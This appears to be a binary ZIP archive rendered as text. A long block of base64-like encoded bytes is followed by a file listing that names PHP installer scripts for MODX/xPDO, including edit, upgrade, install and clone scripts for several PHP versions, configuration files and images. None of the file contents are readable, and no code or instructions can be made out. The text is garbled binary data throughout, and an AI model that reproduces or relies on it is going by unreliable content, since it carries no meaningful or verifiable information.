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 kDlSPKre[ VTzzedit.phpnu[PKre[Ijphp56/edit.phpnu[PKre[[*CC,php56/upgrade.phpnu[PKre[y?php56/import.phpnu[PKre[@ 33OQphp56/extend.phpnu[PKre[]kykphp56/install.phpnu[PKre[ !!php56/clone.phpnu[PKre[Mupdate_pass.phpnu[PKre[g install.jsnu[PKre[2modhashing.class.phpnu[PKre[Sj`BBphp82/edit.phpnu[PKre[EEphp82/upgrade.phpnu[PKre[~~ php82/import.phpnu[PKre[l11Fphp82/extend.phpnu[PKre[y< SLphp82/install.phpnu[PKre[-"-"3hphp82/clone.phpnu[PKre["xpdo.class.phpnu[PKre[# ؏md5nu[PKre[  info.xmlnu[PKre[BI11 Finstall.xmlnu[PKre[tedit.xmlnu[PKre[#2%%php81/edit.phpnu[PKre[F!Kphp81/upgrade.phpnu[PKre[2yff[php81/import.phpnu[PKre[&2&2php81/extend.phpnu[PKre[3gphp81/install.phpnu[PKre[oLH6I"I"O8php81/clone.phpnu[PKre[d' HH Zfileindex.phpnu[PKre[L$rr\[php53/edit.phpnu[PKre[Ews qphp53/upgrade.phpnu[PKre[fvvMphp53/import.phpnu[PKre[߸..php53/extend.phpnu[PKre[ūphp53/install.phpnu[PKre[X*php53/clone.phpnu[PKre[Q4 Omodpbkdf2.class.phpnu[PKre[* `upgrade.phpnu[PKre[ ,;images/modx.pngnu[PKre[g`l( ( p*images/logo.pngnu[PKre[U## 4changelog.txtnu[PKre[ 8jj Ximport.phpnu[PKre[ gnotes.txtnu[PKre[C nupgrade.xmlnu[PKre[#S.. oextend.phpnu[PKre[}|  ٞinstall.phpnu[PKre[V'JJphp71/edit.phpnu[PKre[Oiphp71/upgrade.phpnu[PKre[&bbphp71/import.phpnu[PKre[#Ş::#php71/extend.phpnu[PKre[D U7php71/install.phpnu[PKre[vϩ''0Xphp71/clone.phpnu[PKre[>F7 wconfig.inc.phpnu[PKre[5F3@config.core.phpnu[PKre[f6h  clone.phpnu[PK55+